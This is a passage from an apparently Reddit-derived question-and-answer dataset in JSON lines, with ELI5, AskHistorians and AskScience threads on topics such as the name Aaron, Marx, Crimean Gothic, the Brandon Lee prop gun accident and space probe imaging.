{"q_id": "3qp26h", "title": "why is there an extra \"a\" in aaron?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3qp26h/eli5_why_is_there_an_extra_a_in_aaron/", "answers": {"a_id": ["cwh2kss", "cwh2ly0", "cwh8pkx", "cwh8zco", "cwhay5o", "cwhczym", "cwhei13"], "score": [139, 22, 5, 5, 7, 6, 3], "text": ["Because it's a bastardized version of the Biblical name \"Aharon\" (pronounced \"ah-ha-ron\"). The name reached English through Greek, which doesn't have the 'h' sound, so the 'h' was lost and the name became \"Aaron\" (pronounced \"ah-ah-ron\").\n\n_URL_0_", "The Hebrew etymon of Aaron, was pronounced \"aharon\"; it was transliterated into Greek as\u00a0\u1f08\u03b1\u03c1\u03ce\u03bd\u00a0\u200e(Aar\u1e53n), and into Latin as\u00a0Aaron. In Ecclesiastical Latin, the name was and is pronounced with two separate \"a\" sounds.\n\nThe pronunciation of the \"aa\" as a single sound originated when the Bible was anglicised.\n\n\nSource: _URL_0_\n", "Aron is a name too though no? The wrong American spelling like elvis Presley twin", "I had to explain to my English students that 'Aaron' was a boy's name and the identically pronounced (at least by me) 'Erin' is a girl's name.", "Because where would Key and Peele be now otherwise?", "A-a-Ron? Where is a-a-Ron? ", "I'm Aaron. The worst is when not only do people misspell my name but they just mangle it. Aarron, Ehrin, Aaren, Aaryn. I've gotten all of those before. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Aaron_(given_name)#Pronunciation"], ["https://en.wiktionary.org/wiki/Aaron"], [], [], [], [], []]}
{"q_id": "b8q0gp", "title": "how do camera crews filming with or hunting along side jungle tribes communicate that they want to film a documentary and go about setting it up?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b8q0gp/eli5_how_do_camera_crews_filming_with_or_hunting/", "answers": {"a_id": ["ejzed90"], "score": [5], "text": ["They likely have a local fixer to communicate. You have to understand a crew is many people you don't every see on camera. Hell, there's probably even a PA dragging a cooler full of water and snacks there. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3kjavn", "title": "What did Karl Marx mean when he said \"if anything is certain, it is that I myself am not a Marxist\"?", "selftext": "In the \"Action Philosphers\" comic book series, at one point in the Karl Marx chapter there's a joke at the expense of a film professor deconstructing marxism in movies (or something along those lines, this is from memory), and their version of Marx says the above line. Normally I would just brush that off as a joke, but this came with a footnote claiming that is an actual quote (without providing context). So I looked it up online, but I just got a confirmation that the quote is real, and that it boils down to distancing himself from the various interpretations of Marxism during his lifetime.\n\nDo we know in greater detail what he distanced himself from, and what his own views were instead?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3kjavn/what_did_karl_marx_mean_when_he_said_if_anything/", "answers": {"a_id": ["cuy8sje"], "score": [38], "text": ["Hey there!\n\nMaybe I can help. I am a political philosopher but hopefully I can provide something up to standard and something that will answer your question adequately.\n\nI know which part you refer to in the comic book. So in reference to the comic book, it refers specifically to those intellectuals (such as the film professor) not ready to do anything meaningful for the workers. In other words, marxism required action and stirring awareness in the masses was often part of what the intellectuals were expected to do but the ivory-tower stuff such as \"marxism in film noire\" (if I remember correctly) were doing nothing but allowing the bourgeoisie to be in place or even be part of the bourgeoisie. That is, at least, what there is to be understood in the section you refer to. If being a marxist is doing what this professor is doing then Marx is not a marxist.\n\nBut the quote goes further. The context of the quote is circa 1880 when Marx assisted French intellectuals in writing the program for the Parti Ouvrier de France (worker's party of France). The Parti Ouvrier wanted a program and Marx helped Jules Guesde write said program.\n\nAlthough parts of it were good as far as Marx was concerned, he had issues with demands such as limited number of work days and better work conditions. For Marx, if those demands were what being a Marxist is, then he was \"not a marxist\". \n\nNow is the interesting part (in my opinion!): why supporting those things would make Marx not want to be a marxist? \n\nWell, for Marx those were tools to make workers become less radicalised. It is a process that would gradually incorporate workers into the Bourgeoisie and make the alienation comfortable. Even in the communist manifesto, it is something that Marx warns his readers about: one of the most dangerous Bourgeois is the one who will propose free healthcare and other social benefits because the workers will be appeased, not realising their condition and their alienation and instead work within the confine of the system. Workers will not emancipate because the system will absorb them into it.\n\nIn a way that might sound familiar today (at the risk of oversimplifying it): by giving people better salary, conditions and less work while allowing them to drown themselves in superficial consumerism, it would allow the Bourgeoisie to keep the reins of power; i.e. control the means of production.\n\nDoes it mean that Marx wanted to keep the workers miserable? Not really but he believed that the way to go about it was to have the proletariat control the means of production and better life conditions would follow and we had to leverage the condition of the workers to emancipate them and not lead them directly into apathy.\n\nThis became a central topic later on: following World War II, the Frankfurt School were a bunch of marxist intellectuals and were puzzled as of why, during the 1930s, the proleteriat did not rise up as they expected it to. The economy was bad, overall society was not doing well from the worker's perspective and fascism was able to take root. So it is definitely a recurrent issue in Marxism! How come are people not overthrowing the Bourgeoisie? There was hope that with economic collapse, the workers would radicalise quickly after (and some did radicalise) but overall it did not occur. A lot of historians would probably tell me there were significant marxist movements in many places (such as France) and we saw many groups rise up following WWII but nothing that would qualify as an empowering of the proletariat on a large scale.\n\nI would like to finish on one note. In unions, the whole issue was a problem. Per example, in Qu\u00e9bec (where I am from), unions were at a time confronted to the same problem as Marx. Many union members wanted a militant worker base that would seek to free the proletariat and allow workers to leave their alienated state. Good working conditions were seen as clouding the movement and making their alienation comfortable. It had a significant impact and created turmoil within unions. \n\nIn Qu\u00e9bec, I know that we referred to the unions seeking \"better conditions\" over an emancipation as \"American-style\". I do not know enough about American syndicalism to know if its warranted but it does give the tone that eventually, unions became a lot more about benefits and ensuring a decent salary than about emancipating the people from the bosses. Although breaking the 20 years rules, I think one can look at most unions today and see that it has come to be a lot more about being a counterbalance to managers and ensuring workers protection than about taking control of the means of production.\n\nI hope it was clear! English is not my first language :) If you have any questions or if something is unclear, do not hesitate!\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4wyh52", "title": "the difference between a learning disability and an intellectual disability.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wyh52/eli5_the_difference_between_a_learning_disability/", "answers": {"a_id": ["d6axmdv", "d6b3tj1"], "score": [7, 57], "text": ["Intellectual disability is more all-round, learning disability is a weakness in one area (e.g. maths, spelling etc) despite overall competence in others.\n\nFor example, someone with serious mental retardation would be intellectually disabled. Someone in the top quartile for maths/science but with dyslexia has learning disabilities.", "Intellectual disability - basically I'm not smart enough.\n\nLearning disability - I can't learn via specific processes. Often characterized by senses I.e. auditory processing disorder. You can't learn something by hearing instructions, but given picture instructions it's easy to learn the same thing. \n\nIf a cup represents your ability to learn, a really small cup is an intellectual disability. A cup with a lid that has circular holes means the cup can only be filled a certain way (or certain ways, really)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ghisg", "title": "Can I say that future points downwards?", "selftext": "Suppose a 2D flatlander orbiting the earth aligned in a plane perpendicular to its velocity. Can I say that his future points in the direction of his velocity?\n\nIf thats's the case, then his velocity is already pointing somewhat towards his earth-facing direction (a direction he can point towards in his own sense if he knows where earth is).\n\nWill past also point downwards then?\n\nEdit: [What I mean.](_URL_0_)\n\nEdit 2 : When you're floating in space there's no way to tell which way the 4-velocity points (it point in future but you can't put your finger on it). But when under gravity, your future bends towards the mass causing that bend (is this correct?). So if I know where that mass is, I know what direction the space component of my 4-velocity vector points, right?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ghisg/can_i_say_that_future_points_downwards/", "answers": {"a_id": ["c1nktww", "c1nkwzn", "c1nl1pn"], "score": [9, 5, 3], "text": ["But the flatlander doesn't have a downward to point in, in the sense you're using down.  Just the same way, if we assume your analogy is sensible, then we'd not be able to point in the direction of our past.  But the analogy itself doesn't make a whole lot of sense since you're just pointing in the direction the flatlanders were in the past.  So saying that their past is down, is like saying your past is whichever direction you were in a few minutes ago (assuming you've moved).  ", "Uh.\r\n\r\nI don't exactly understand what you said, but the future usually points futurewards. It can't point downwards, just like \"right\" can't point downwards.\r\n\r\nAnd I don't think time can be \"aligned\" with spatial dimensions.\r\n\r\n/layman", "Remember that the components of four-velocity are not Lorentz-invariant. Different observers will disagree about them. A stationary observer in a gravitational field will say that the four-velocity of a falling observer is tilted toward the center of the field such that it gains a spatial component."]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/Qs5UT.gif"], "answers_urls": [[], [], []]}
{"q_id": "180caw", "title": "Could someone tell if Venus rotated the 'wrong' way around without going into space?", "selftext": "Could someone tell a planet's rotational direction without actually sending something to look at it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/180caw/could_someone_tell_if_venus_rotated_the_wrong_way/", "answers": {"a_id": ["c8ai4cx", "c8ai7z8"], "score": [4, 3], "text": ["[Yes](_URL_0_). We knew about Venus' retrograde rotation in the 1950s, and we had good estimates of its rotation speed in the 60s.", "I believe astronomers can use the [doppler effect](_URL_0_) to gauge the rotational velocity of a body. Light reflected from the side of the planet \"approaching\" us will be blue shifted, and red shifted on the side receding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Venus#Ground-based_research"], ["http://en.wikipedia.org/wiki/Doppler_shift#Astronomy"]]}
{"q_id": "bfuwkd", "title": "John Bradmore is famous for saving the life of Prince Henry V by extracting a bodkin point lodged in the Prince's skull following the battle of Shrewsbury. It is reported that he was paid an annuity of 10 sovereigns for the task. Would 10 sovereigns yearly allow Bradmore to live comfortably?", "selftext": "Amount of 10 Sovereigns from this source: \"Chris Given-Wilson, An Illustrated History of Late Medieval England, Manchester University Press, 1996, p.92.\" \n\nNeat video on the event where they remake the tool with a historical blacksmith: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bfuwkd/john_bradmore_is_famous_for_saving_the_life_of/", "answers": {"a_id": ["elgn2kg"], "score": [41], "text": ["I hate to ask this, but can you track down Given-Wilson's citation?  I ask because sovereigns weren't first minted until the 1480s-90s, I think.\n\nBUT, if Given-Wilson just means pounds (since a sovereign *was* nominally worth a pound), then I can give some insight.  Wool farmer John Lyndewood (father of William Lyndewood, who rose to bishop) left this bequest in his will:\n\n >  Item. I bequeath to the 30 churches in whose parishes I was wont to buy wool that they may pray for my soul and for the souls of those to whom I am beholden, \u00a310, leaving it to the discretion of my executors to choose the villages.\n >  Item. I leave for distribution among poor folk of the country-side, especially in villages where I was wont to buy wool... \u00a310.\n\nTen pounds is a generous amount.  \n\nBased on the UK National Archive's [Currency Converter](_URL_0_), \u00a310 in 1410 is worth ~\u00a36,300 today.  That's an utterly useless number, because spending was entirely different in that sort of economy.  But, more useful, is the table they provide below:\n\n >  In 1410, you could buy one of the following with \u00a310: \n >  Horses: 7 \n >  Cows: 17 \n >  Wool: 55 stones\n >  Wheat: 32 quarters\n >  Wages: 500 days (skilled tradesman)\n\nFirst of all, it's worthwhile to know that 55 stone of wool equals 770 pounds (weight) of wool.  That's ... a lot.  \n\nSecond, five-hundred days of a skilled tradesman's wages isn't exactly clear: do they mean working days?  Are they spreading these wages out over all 365.25 days of the year?  I'm not sure.  What I do know is that they're telling us that it's more than the average artisan makes.  \n\nHopefully this will do until a more comprehensive answer emerges."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=C8Nef1siUus"], "answers_urls": [["http://www.nationalarchives.gov.uk/currency-converter/"]]}
{"q_id": "5d97d9", "title": "In A Song of Ice and Fire, House names are synonymous with family last names. In reality, why has this not always been the case?", "selftext": "For example, Elizabeth II, of the House of Windsor, does not have 'Windsor' in her name. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5d97d9/in_a_song_of_ice_and_fire_house_names_are/", "answers": {"a_id": ["da2zq04"], "score": [10], "text": ["Hiya!! So house names generally are associated with last names, (Habsburg, hollenherzen, etc.). However I think in the case of A Song of Ice and Fire, this is likely a case of Doylism winning out. In the Middle Ages, the idea of a \"last name\" was not particularly standardized even among the nobility.\n\nMany of the house names we associate with the period are fairly anachronistic, they were attributed by historians after the fact. For example, the French kings are generally referred to as Capetians, but they wouldn't really utilize Capet as a surname, they would be associated with the place or title that a person had, so Louis of France or king of the Franks or king of France. And if we are applying later standards for last names, there would be no changes at all! Let's say that Hugh Capet actually used Capet as a surname. That would mean that every French monarch till the revolution would have the last name Capet. Not only that, but this dynasty was fairly prolific, so the kings of Portugal, the dukes of burgundy, the kind of Sicily, would all have the same last name of Capet using modern standards. \n\nSo generally, house names tend to get applied after the fact, the failure of Philip IV's line marks the start of the Valois dynasty, who were agnatic first cousins of the king, but were also count of Valois. This is also helpful because it breaks up periods, specifically the start of the hundred years' war. This happens in English history too, many of the early noble families who started adopting a practice of last names, tended to associate it with a location, such as their original Norman landholding. Even the houses of Lancaster and York as well as the name Plantagenet are somewhat anachronistic. Richard Duke of York is associated with the house of York, but used Plantagenet kind of as a last name to emphasize his male line succession for Geoffrey of anjou, ancestor of the kings of England, who was nicknamed Plantagenet due to a flower he wore in his hat (he was contending with another Plantagenet, Henry VI). We call him Richard of York and his sons yorkists to clarify factions during The Wars of the Roses (medieval nobles had an annoying habit of reusing maybe five first names all the time). Previous kings did not use a last name, they were associated with their title, \"king of England.\"\n\nSo the main issue here is more that medieval nobility did not use last names in the same sense that we do, they were associated with a place/title (Habsburg from Habsburg castle in Switzerland) or with their father (Louis son of Charles). If they lasted in to the later or modern period, name conventions changed or historians retrospectively added dynastic names for clarity (Plantagenet, carolingian, Capet, etc.). So I think this more is attributed with trying to make things easier for modern readers, who would not appreciate having to keep track of things like just King Robert, whose brother is Lord Stannis of Dragonstone. Last names did come about later in the period, but not in the same strict sense that we have today. The queen of England's style is likely a marker of tradition, harkening back to the medieval practices of association with place. Hope this helps!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mbwz0", "title": "Orbital Trajectories and Error?", "selftext": "I first appreciated what a free return trajectory was when I watched [this video](_URL_0_) where a science teacher uses a lycra sheet and weights to demonstrate gravity (free return is at the 6:20 mark).  The trajectory makes sense to me and I guess you could say you \"fall\" all the way to the moon and fall all the way home again.  \n\nWhat I don't understand is that ideally the whole path is predetermined by the velocity of the object when it leaves the earth.   How is this done so accurately?   I know that mid course corrections are possible but I assume they must be minimal.   Maybe a better question is how accurate does the initial velocity need to be?   \n\nThat is an earth/moon question from the Apollo era.   I had the same sense of \"how do they achieve that accuracy\" this year when New Horizons not only reached Pluto but passed between Pluto and Charon.......wow", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3mbwz0/orbital_trajectories_and_error/", "answers": {"a_id": ["cvdp701"], "score": [9], "text": ["It's simple: they don't have the needed accuracy at launch (for some trips you might need to be unpractically precise). You might know that in general, the error in the configuration of a mechanical system grows exponentially, so no matter how good you are, you often aren't able to calibrate everything in advance. They just make adjustments mid-flight. If you've been smart, the adjustments won't be large.\n\nA minimalist plan of periodic orbital reassessment and corrections is enough to bring that exponentially small precision requirement at launch into something reasonable."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=MTY1Kje0yLg"], "answers_urls": [[]]}
{"q_id": "30do0t", "title": "why don't airplanes have a software that stops the pilot from doing a crucial mistake?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30do0t/eli5_why_dont_airplanes_have_a_software_that/", "answers": {"a_id": ["cprfbus", "cprfgem"], "score": [5, 7], "text": ["They do. All airliners have an autopilot that will keep the plane stable and newer ones probably have functionality to keep flying the plane without pilot input\n\nBut the problem is that the software is being double-checked by the pilot and the co-pilot, and they are expected to correct any errors that the computer might make. The pilots are the ones catching the mistakes, not the computer. \n\nMalicious pilot errors do happen but they are incredibly, incredibly rare -you only hear about them occasionally for the hundreds of planes taking off from airports every minute of every day.\n", "Because all these things could also be purposely done by pilots in an effort to save a flight. A dive can lead to disaster, as we have seen in this flight. Putting the plane into a dive can also save passengers if the cabin has lost pressurisation and they need to descend *now* so passengers can still breathe. That switch not being on lead to that crash yes, but there are also reasons why that system may need to be switched off to compensate for other problems. Pilots can make mistakes. So can software. Making software that cannot be overridden won't stop crashes from happening. It'll just make different kind of crashes happen."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bbije6", "title": "According to the \"Fall of Rome\" podcast, there were Gothic speakers in Crimea up until the 17th century. What factors led to this and how much did the language differ from ancient Gothic?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bbije6/according_to_the_fall_of_rome_podcast_there_were/", "answers": {"a_id": ["ekj86gl"], "score": [8], "text": ["The permanence of a Gothic language in Crimea is a rather problematic question : until recently, the only extensive source about it was Oghier de Busbecq's accounts in his *Turkish Letters* for a Germanic-speaking people living in southern Crimea. At no point he affirms they were Goth, only to say he couldn't tell if they were Goths or Saxons. He nevertheless made a point to list a series of words from one of two, or both peoples, from the region : a native Germanic-speaker having lost much of his native language, and a Greek having learnt enough of it.\n\nIt happens that this part of Crimea, the former principality of Teodoro/Mangup, was also called Gothia by Byzantines : it is not just a late medieval reminiscence of Late Ancient Goths (although, Goths mentions are more probably artefacts in several case) as the Tale of Igor's Campaign does mention \"Gothic maids\" in the XIIth; and the \"Gothic lords\" mentioned in the letter of Zachariah, Prince of Matrega, to the Protectors of the Bank of St. George.Mention of Goths in ecclesiastical titles until the XVIIIth century, however, doesn't imply an ethnic or linguistic survival no more than Gothia (roughly lower Languedoc and Catalonia) and Goths being accounted for in the VIIIth to XIth centuries in southern France _URL_0_ doesn't implies, however, that these Goths kept a distinct ethnic and linguistic identity, no more than early-medieval Gothia (roughly fitting Lower Languedoc, then Catalonia) and its nobles calling themselves Goths until the XIth century.\n\nSo, looking at Busbecq's list, can these words be tied to what we know of Gothic language, trough Ulfila's Bible and other, limited and scattered, sources from the Vth century?It's hard to tell : while there's some phonological elements that makes Crimean Germanic speech relatively close to Ulfila's Gothic language, a lot of phonological and lexical elements seems closer to evolution that happened separately in Low German dialects. While this language might have been called Gothic, it might not have been a direct evolution from Late Ancient Gothic.\n\nWe do have medieval accounts, however, with William De Rebruck and John Galafontibus. It doesn't tells much however.\n\n > There are great bluffs or capes in this sea from Khersona up to the mouths of Don, and forty or so castles between Khersona and Soldaia whom each have its own language; there is also many Goths, that still use German as their languagez\n\n & #x200B;\n\n > Along and around the Black Sea live two small nations: Tats and some Goths. In their religion, they follow the Greeks and use Greek  letters. \\[...\\] Goths can claim to be descended from the Scots and speak like the English.. They live along the shore near Kaffa, and also in Tartary and Cumania.\n\nBut there was certainly a Gothic-speaking population remaining in Crimea, at least until the Xth/XIth century : [in 2015, evidence of Ulfila's Gothic language in this sense was discovered on Mangup's basilica as five graffiti.](_URL_1_) So the question is less if Late Ancient Gothic existed in Crimea, but how long did it survived and why this Germanic speech in late medieval Crimea, while having Ulfila's Gothic elements, tends to look a lot as Low German?\n\nThe traditional opposition is about a distinct Gothic language from Ulfila's Gothic having more or less survived as a scattered idiom even in Crimea, and a medieval western Germanic emerging as German speakers (or Anglo-Saxons if you're following the accounts on Nova Anglia on the Black Sea) settling and being influenced by a remaining Gothic speaking _URL_2_ far, there's not enough evidence to have a clear and definitive answer, although the regular comparison to western German speeches shouldn't be dismissed.\n\nRegardless of its nature, it survived until the XVIIIth from the reading of Johann Christoph Adelung. He basically say that in place where Goths were believed to have lived, some Tatars (originally Christians) speaks a language close to Low German that he was able to understand sometimes.  \nConsidering it means Gothic language, as a direct descendent of Late Ancient Gothic, survived until the XVIIIth is quite optimistic,to say the least, and not an established fact.  \n\n\nWhat do we have then?\n\n\\- Late Ancient Gothic-speakers were still present in Crimea until the Xth century\n\n\\- People identifying themselves and being identified as Goths lived in Crimea at least until the XVIth century, but their language isn't obviously tied to Late Ancient Gothic, explainable either due to a separate evolution, either due to a Low German influence or dominance with Gothic as a substrate.\n\n\\- This Germanic language probably living on until the XVIIIth century."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["did.It", "https://www.jbe-platform.com/content/journals/10.1075/nowele.00013.vin", "population.So"]]}
{"q_id": "3f1hkt", "title": "What was the closest that the city of Rome ever came to being sacked or conquered by an Islamic power? Or Mecca by a Christian power?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3f1hkt/what_was_the_closest_that_the_city_of_rome_ever/", "answers": {"a_id": ["ctkobw2", "ctl012n", "ctl7931"], "score": [41, 4, 9], "text": ["Arab raiders had been probing southern Italy since the 7th century. They established an Emirate in Sicily in 842 and another at Bari in 847. Arab mercenaries had been fighting for several years in wars between Italian nobles. This led to a raid against Rome itself in 846 by a band of opportunistic Arab mercenaries, who were not numerous or organized enough to breach the city's Aurelian Wall - which was not a huge loss since they were able to load themselves down with booty from churches outside the walls. A second attempted raid in 849 was repulsed at Ostia. \n\nSicily was conquered by Norman forces (with the assistance of local partisans) in the late 11th century. Pogroms against the Arabs and local converts led to a Muslim rebellion which wasn't fully stamped out until the 1220s.\n\n", "To ask a very similar question, did the Ottoman capture of Otranto in 1480 pose a serious threat to the city of Rome itself?\n", "To answer the second part of your question, I think Renaud de Ch\u00e2tillon would be the closest a Christian came to even attack Mecca. If you watched the movie Kingdom of Heaven, you might remember this particular person as the redheaded ruler of Kerak. What the film never showed is that after attacking a muslim caravan during the 1180s, which caused a few skirmishes between the Kingdom of Jerusalem and Saladin, he went on to raid the Red sea coast, his goal being to burn down Mecca and Medina. Problem is, he was pretty much gone rogue in regards to the Kingdom of Jerusalem. His raids were not supported by then King, Baldwin IV. As a result, besides a few coastal villages he didn't raid much and his band of mercenaries were quickly captured and executed while he fled back to his castle. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4ele1s", "title": "Is the glass on my phone screen getting worn away by my scrolling thumb?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ele1s/is_the_glass_on_my_phone_screen_getting_worn_away/", "answers": {"a_id": ["d212v43", "d216aws"], "score": [20, 3], "text": ["That depends where your thumb has been.\n\nGlass used in screen protectors has a [hardness](_URL_0_) of about 6 or 7, so that means that it can only be scratched or otherwise worn by materials that are harder than that.  \n\nYour thumb would not typically be such a material.  \n\nYour thumb coated in ground-up diamonds would be considerably more abrasive, of course.  ", "In addition to what already has been said: most smartphone screens have an oleophobic coating, which prevents oil and other build up from forming on your phone display, and allows your finger to slide over the display easier. This can be rubbed off with enough use."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.clear-coat.com/blog/true-hardness-tempered-glass-screen-protector/"], []]}
{"q_id": "apn9ek", "title": "how the prop gun in the crow killed brandon lee.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/apn9ek/eli5_how_the_prop_gun_in_the_crow_killed_brandon/", "answers": {"a_id": ["eg9ri3h", "eg9rl7x", "eg9rvmu", "eg9s24r", "eg9s2y2"], "score": [3, 2, 7, 3, 2], "text": ["If I recall correctly, the firearms experts had left the set that night as filming usually continued stressfully into the AM hours. They used the same guns for scenes that required real bullets or blanks. It was likely that the crew failed to check the firearm to make sure it was successfully unloaded and safe to shoot at the actor with blank rounds, resulting in the accident. ", "On the powder-less bullet, they made, they left the gunpowder in that little rise on the back of a bullet that the pin hits. \n\nWhen the pin hit it that was just enough force to send the slug half-way into the chamber.\n\nProtocol was not followed so when they loaded the rounds without the slugs, but with the powder, no one knew that slug was in there. \n\nSo the gun was loaded, in a sense, and no one knew it. It just took two pulls of the trigger to fire the lethal bullet. \n\nDoes that help?\n\nEDIT : Prop guns, in most cases, are real guns with prop ammunition.", "Dummy Bullets look like bullets, they are used when the bullet is visible on camera.  The prop crew made them by pulling a bullet out of a cartridge, pouring out the gunpowder, and then putting it back.  This looks good and is much safer.  The gun wasn't supposed to be fired.\n\nIn an error, someone fired the gun.  The primer in the shell casing fired, but there was no gunpowder, so nobody got shot.  The ignition of the primer did pop the bullet out of the cartridge and into the barrel.  The gun was not cleaned, arguably a second mistake, and nobody noticed.\n\nThe gun was reloaded with blanks, which are cartridges without bullets in them.  They use a little piece of cardboard to keep the gunpowder from getting loose.  Real cartridges would have jammed the gun, but the bullet in the barrel cleared the shorter blank round.  This is just darn unfortunate.\n\nWhen the blank was fired, the gunpowder produced hot gasses which fired the loose bullet from the prior screw-up into Brandon Lee, killing him.", "\n\nA cartridge contains a few parts: the case(aka shell or jacket) , powder explosive, primer explosive, and the actual bullet. The bullet is the front tip that gets shot at the target, and the gun ejects an empty case after.\n\n\nOn a movie set, you need different kinds of fake bullets for different jobs.\n\nOne scene had fake bullets being loaded into a gun; they had to look real on screen. They made thier own screen-realistic fakes  by taking a real cartridge, taking out the powder and putting the bullet back in. This LOOKS like a real cartridge but with no powder, no boom. Looks real on film when you show a closeup of loading the gun.\n\nWhen you want to shoot a gun on screen, you have a blank. It has a case, powder, but no projectile. So it goes BOOM and you get muzzle flash but there is no bullet.\n\nOn the film set of the Crow, one scene had a fake cartridge (case, projectile, no powder), the projectile got stuck in the gun.\n\nThe next scene needed blanks that go \"bang\". Load the blanks, it goes bang, and the projectile that got stuck inside the gun in the previous scene actually fired out of the gun.\n\n", "So at one point rather than using totally inert fake rounds they took a round took out the powder, but they left the primer in. The primer is a small charge used to ignite the gunpowder. This pushed the bullet into the barrel but it got stuck. This is called a squib fire.\n\nLater the used blanks, rounds with the gunpowder but no bullet used for the flash, were loaded in the gun and aimed at him for a scene. When the blank was fired, there was enough pressure to actually shoot stuck bullet out of the barrel and at him.\n\nThe gun should have been checked after the first incident and either repaired or trashed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "ajneqs", "title": "how can a space probe like new horizons capture such clear images of fast moving and far objects in space while it is moving at such fast speeds itself, when my dslr/phone camera can't even take photos with a decent amount of clarity with small hand vibrations?", "selftext": "I'm [referring to this](_URL_0_). From my limited understanding of astronomy and astronautical engineering, I know that because space is almost a vacuum, the motion of both the lenses on the space probe and the asteroid itself are nearly constant, making it easier to do motion-tracking of such fast moving objects in space. \n\nBut in commercial applications like a DSLR and phone camera, they have the economy of scale advantage. Why are the image stabilisation technologies in commercial products so dated? Furthermore, the space probe's image was \"taken when the KBO was 4,200 miles (6,700 kilometers) from the spacecraft\". How backwards  are commercial products when we only have a something like 100x optical zoom among the mass market for prosumers?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajneqs/eli5_how_can_a_space_probe_like_new_horizons/", "answers": {"a_id": ["eewx5hh", "eewxjop", "eewxrg0", "eewy6n3", "eexadut", "eexjozf"], "score": [31, 2, 10, 4, 12, 3], "text": ["I would say its because the distances in space are higher, so it moves much less, relatively. Try and take a picture of a mountain while you run on a road. Assuming you can move smoothly (like a spaceprobe) the pics should be clear", "A large part of the difference is that this kind of tech is VASTLY beyond the realm of consumer electronics.\n\nThat phone, in total, cost you about $1000.  And that's retail, the actual hardware is significantly cheaper.\n\nA top-notch DSLR costs maybe $3000?  And again, retail pricing.\n\nNew Horizons cost $700,000,000, it's the size of a small car, and it's nuclear powered.  For several hundred thousand times more money, you get camera and stabilization tech that can't even begin to be compared to the stuff they cram into a mass-produced gadget for a manufacturing cost of about $100.", "On top of what others already said, I'd add that objects in space move in a very regular motion (line or ellipse) which makes it easier to track the object during capture. On the other hand, you hand trembles in a way unpredictable to your camera, which is why no digital stabilization compensation is possible. ", "You're conflating two different technologies. While consumer cameras and cameras on spacecraft fundamentally work the same way, they're designed for entirely different things. You're comparing apples to oranges. It's not that one is better than the other. They're simply not interchangeable.\n\nThat's also even the issue here. What's happening is that the spacecraft is just far away from the object they photograph. Think about when you're on a plane and you look at the window. The ground below appears to be barely moving, despite the fact that you're moving at 600mph. You can whip out your camera and take a perfect picture of the ground below you because it's far away. ", " > when my DSLR/phone camera can't even take photos with a decent amount of clarity with small hand vibrations?\n\n >  Why are the image stabilisation technologies in commercial products so dated?\n\nThe brilliant thing NASA did was to make a spacecraft without any hands.  \n\nThe speeds are astronomical, but effective speed varies with distance.  It takes a fast shutter speed to freeze a housefly in flight, but a jet in the sky is easy to photograph.\n\nThe camera on New Horizons is named Ralph, and wit works more like a scanner than a camera.  It uses CCDs, which have been supplanted by CMOS chips in high end cameras.  But it has seven of them, each one is 5024 pixels wide by just 32 tall.  5024 pixels is roughly equivalent to a 16 megapixel camera, but by scanning and stitching, very high resolution is possible.\n\nThe sun is fairly dim out there, but the cold temperature helps achieve low noise at relatively high ISO.  [Amateur astrophotographers sometimes build coolers for their camera sensors.](_URL_0_)  This was especially prevalent around the time when New Horizons was built.  CCD chips build up heat while they capture data, CMOS chips develop less heat.", "It's not the research that's the problem. You have a lot of different things at work:\n\n* Size. You can get higher resolution and faster imaging by increasing the size of your sensor field and the amount of sensors on it. You actual light sensor even on a DSLR is probably a lot smaller than the one on New Horizons, and the one in a smart phone is tiny. The same goes for lenses, mirrors and similar, you can get phenomenal detail just by making everything *bigger* because you can gather more light at once.\n\n* Production. This one is twofold, scale and price.\n * Price: You do not only pay to research and develop a product, you need to actually build it. For a space probe, nobody will blink if the camera will cost a million dollars just to build it. But you will not want to pay $1,000,700 instead of $700 because of a camera. Economies of scale cannot make something infinitely cheap, they can primarily spread fixed costs (like research, building the factory, things you pay only once, regardless of how many things you build afterwards) on a lot of products, bringing them close to zero per item built and enabling you to deal with higher fixed costs like research into more efficient factory technology or similar, but besides that you cannot do much with scale to bring down labor, power and material costs.\n * Scale: You cannot produce cutting edge technology at scale. For a space telescope or probe, every little piece can be made with highly specialized equipment by highly specialized people. If it takes half a year to build a part, that's 